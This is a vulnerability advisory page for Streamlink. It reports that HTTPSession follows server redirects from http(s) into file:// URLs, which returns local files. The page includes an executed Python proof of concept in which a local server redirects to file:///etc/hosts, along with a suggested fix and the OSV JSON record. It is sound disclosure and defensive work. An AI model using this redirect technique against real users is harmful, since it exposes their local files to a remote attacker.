PYSEC-2026-4172
Vulnerability from pysec - Published: 2026-10-01 16:38 - Updated: 2026-10-01 17:10Summary
HTTPSession mounts a FileAdapter for the file:// scheme and inherits redirect handling
unchanged from requests.Session. requests does not check for scheme downgrades or
cross-protocol transitions when it follows a redirect, so any http(s) request Streamlink makes can
be redirected by the remote server into file:///... and the local file is returned as the
response body.
GHSA-hgqw-6m45-hw5f / CVE-2026-44353 fixed direct file:// segment and playlist URIs in HLS
playlists and DASH manifests. Those checks look at the URL as it appears in the manifest, so a
manifest that lists an ordinary https:// URL passes them, and the redirect happens later at fetch
time. The attack surface is the same one that advisory describes, but the flaw is one level down in
HTTPSession rather than in the streaming implementations, so it applies to every request the
session makes and not only to segment and manifest fetches.
Affected version
Executed against released streamlink 8.5.0 (PyPI, installed into a clean venv on
Python 3.12).
Attacker model
The attacker controls a URL the victim's Streamlink run reaches: a playlist or manifest URL passed
on the command line, or any http(s) URL referenced from attacker-controlled manifest content. No
privileges on the victim host and no file:// input are required, and the file:// scheme never
appears in anything the victim or the manifest parser sees.
Proof of concept, executed
import threading
from http.server import BaseHTTPRequestHandler, HTTPServer
from streamlink.exceptions import StreamError
from streamlink.session.http import HTTPSession
class H(BaseHTTPRequestHandler):
def do_GET(self):
if self.path == "/segment":
self.send_response(302)
self.send_header("Location", "file:///etc/hosts")
self.end_headers()
else:
self.send_response(404)
self.end_headers()
def log_message(self, *a):
pass
srv = HTTPServer(("127.0.0.1", 0), H)
port = srv.server_port
threading.Thread(target=srv.serve_forever, daemon=True).start()
s = HTTPSession()
res = s.get(f"http://127.0.0.1:{port}/segment", exception=StreamError, timeout=5)
print("requested http://127.0.0.1:%d/segment" % port)
print("final_url ", res.url)
print("status ", res.status_code)
print("content ", res.content[:40])
srv.shutdown()
Output:
requested http://127.0.0.1:52205/segment
final_url file:///etc/hosts
status 200
content b'##\n# Host Database\n#\n# localhost is used'
The request goes out over http, the response comes back from the local filesystem, and nothing in
between rejects the scheme change. Substituting a path the attacker wants read for /etc/hosts
returns that file's contents into whatever consumes the response, which for a segment fetch means
the file is written into the stream output.
Suggested fix
Override get_redirect_target() or resolve_redirects() on HTTPSession and reject a redirect
whose target scheme is not the same as the request's scheme or a permitted upgrade of it. Doing it
on the session rather than through a response hook keeps plugin authors from removing the check by
overriding hooks. Custom protocol adapters can still redirect, but only to https or to their own
scheme.
AI tooling
AI assistance was used for the code audit and for drafting this report. The finding was manually verified against the project's source at the location cited above before reporting it, and the severity and impact assessment are my own.
| Name | purl | streamlink | pkg:pypi/streamlink |
|---|
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "streamlink",
"purl": "pkg:pypi/streamlink"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "8.6.0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"0.0.1",
"0.0.2",
"0.1.0",
"0.10.0",
"0.11.0",
"0.12.0",
"0.12.1",
"0.13.0",
"0.14.0",
"0.14.2",
"0.2.0",
"0.3.0",
"0.3.1",
"0.3.2",
"0.4.0",
"0.5.0",
"0.6.0",
"0.7.0",
"0.8.1",
"0.9.0",
"1.0.0",
"1.1.0",
"1.1.1",
"1.2.0",
"1.3.0",
"1.3.1",
"1.4.0",
"1.4.1",
"1.5.0",
"1.6.0",
"1.7.0",
"2.0.0",
"2.1.0",
"2.1.1",
"2.1.2",
"2.2.0",
"2.3.0",
"2.4.0",
"3.0.0",
"3.0.1",
"3.0.2",
"3.0.3",
"3.1.0",
"3.1.1",
"3.2.0",
"4.0.0",
"4.0.1",
"4.1.0",
"4.2.0",
"4.3.0",
"5.0.0",
"5.0.1",
"5.1.0",
"5.1.1",
"5.1.2",
"5.2.1",
"5.3.0",
"5.3.1",
"5.4.0",
"5.5.0",
"5.5.1",
"6.0.0",
"6.0.1",
"6.1.0",
"6.10.0",
"6.11.0",
"6.2.0",
"6.2.1",
"6.3.0",
"6.3.1",
"6.4.0",
"6.4.1",
"6.4.2",
"6.5.0",
"6.5.1",
"6.6.0",
"6.6.1",
"6.6.2",
"6.7.0",
"6.7.1",
"6.7.2",
"6.7.3",
"6.7.4",
"6.8.0",
"6.8.1",
"6.8.2",
"6.8.3",
"6.9.0",
"7.0.0",
"7.1.0",
"7.1.1",
"7.1.2",
"7.1.3",
"7.2.0",
"7.3.0",
"7.4.0",
"7.5.0",
"7.6.0",
"8.0.0",
"8.1.0",
"8.1.1",
"8.1.2",
"8.2.0",
"8.2.1",
"8.3.0",
"8.4.0",
"8.5.0"
]
}
],
"aliases": [
"CVE-2026-92164",
"GHSA-vf2x-4v53-pm7v"
],
"details": "## Summary\n\n`HTTPSession` mounts a `FileAdapter` for the `file://` scheme and inherits redirect handling\nunchanged from `requests.Session`. `requests` does not check for scheme downgrades or\ncross-protocol transitions when it follows a redirect, so any http(s) request Streamlink makes can\nbe redirected by the remote server into `file:///...` and the local file is returned as the\nresponse body.\n\n`GHSA-hgqw-6m45-hw5f` / `CVE-2026-44353` fixed direct `file://` segment and playlist URIs in HLS\nplaylists and DASH manifests. Those checks look at the URL as it appears in the manifest, so a\nmanifest that lists an ordinary `https://` URL passes them, and the redirect happens later at fetch\ntime. The attack surface is the same one that advisory describes, but the flaw is one level down in\n`HTTPSession` rather than in the streaming implementations, so it applies to every request the\nsession makes and not only to segment and manifest fetches.\n\n## Affected version\n\nExecuted against released `streamlink 8.5.0` (PyPI, installed into a clean venv on\nPython 3.12).\n\n## Attacker model\n\nThe attacker controls a URL the victim\u0027s Streamlink run reaches: a playlist or manifest URL passed\non the command line, or any http(s) URL referenced from attacker-controlled manifest content. No\nprivileges on the victim host and no `file://` input are required, and the `file://` scheme never\nappears in anything the victim or the manifest parser sees.\n\n## Proof of concept, executed\n\n```python\nimport threading\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\nfrom streamlink.exceptions import StreamError\nfrom streamlink.session.http import HTTPSession\n\nclass H(BaseHTTPRequestHandler):\n def do_GET(self):\n if self.path == \"/segment\":\n self.send_response(302)\n self.send_header(\"Location\", \"file:///etc/hosts\")\n self.end_headers()\n else:\n self.send_response(404)\n self.end_headers()\n\n def log_message(self, *a):\n pass\n\nsrv = HTTPServer((\"127.0.0.1\", 0), H)\nport = srv.server_port\nthreading.Thread(target=srv.serve_forever, daemon=True).start()\n\ns = HTTPSession()\nres = s.get(f\"http://127.0.0.1:{port}/segment\", exception=StreamError, timeout=5)\nprint(\"requested http://127.0.0.1:%d/segment\" % port)\nprint(\"final_url \", res.url)\nprint(\"status \", res.status_code)\nprint(\"content \", res.content[:40])\nsrv.shutdown()\n```\n\nOutput:\n\n```text\nrequested http://127.0.0.1:52205/segment\nfinal_url file:///etc/hosts\nstatus 200\ncontent b\u0027##\\n# Host Database\\n#\\n# localhost is used\u0027\n```\n\nThe request goes out over http, the response comes back from the local filesystem, and nothing in\nbetween rejects the scheme change. Substituting a path the attacker wants read for `/etc/hosts`\nreturns that file\u0027s contents into whatever consumes the response, which for a segment fetch means\nthe file is written into the stream output.\n\n## Suggested fix\n\nOverride `get_redirect_target()` or `resolve_redirects()` on `HTTPSession` and reject a redirect\nwhose target scheme is not the same as the request\u0027s scheme or a permitted upgrade of it. Doing it\non the session rather than through a response hook keeps plugin authors from removing the check by\noverriding hooks. Custom protocol adapters can still redirect, but only to `https` or to their own\nscheme.\n\n### AI tooling\n\nAI assistance was used for the code audit and for drafting this report. The finding was manually verified against the project\u0027s source at the location cited above before reporting it, and the severity and impact assessment are my own.",
"id": "PYSEC-2026-4172",
"modified": "2026-10-01T17:10:44.555055Z",
"published": "2026-10-01T16:38:38.819090Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/streamlink/streamlink/security/advisories/GHSA-vf2x-4v53-pm7v"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-92164"
},
{
"type": "WEB",
"url": "https://github.com/streamlink/streamlink/commit/4b99c64dde21ea70c24d9ffdbd15849b05f465c6"
},
{
"type": "PACKAGE",
"url": "https://github.com/streamlink/streamlink"
},
{
"type": "WEB",
"url": "https://github.com/streamlink/streamlink/releases/tag/8.6.0"
},
{
"type": "PACKAGE",
"url": "https://pypi.org/project/streamlink"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-vf2x-4v53-pm7v"
}
],
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Streamlink: HTTPSession follows HTTP redirects into file:// URLs, reading local files"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.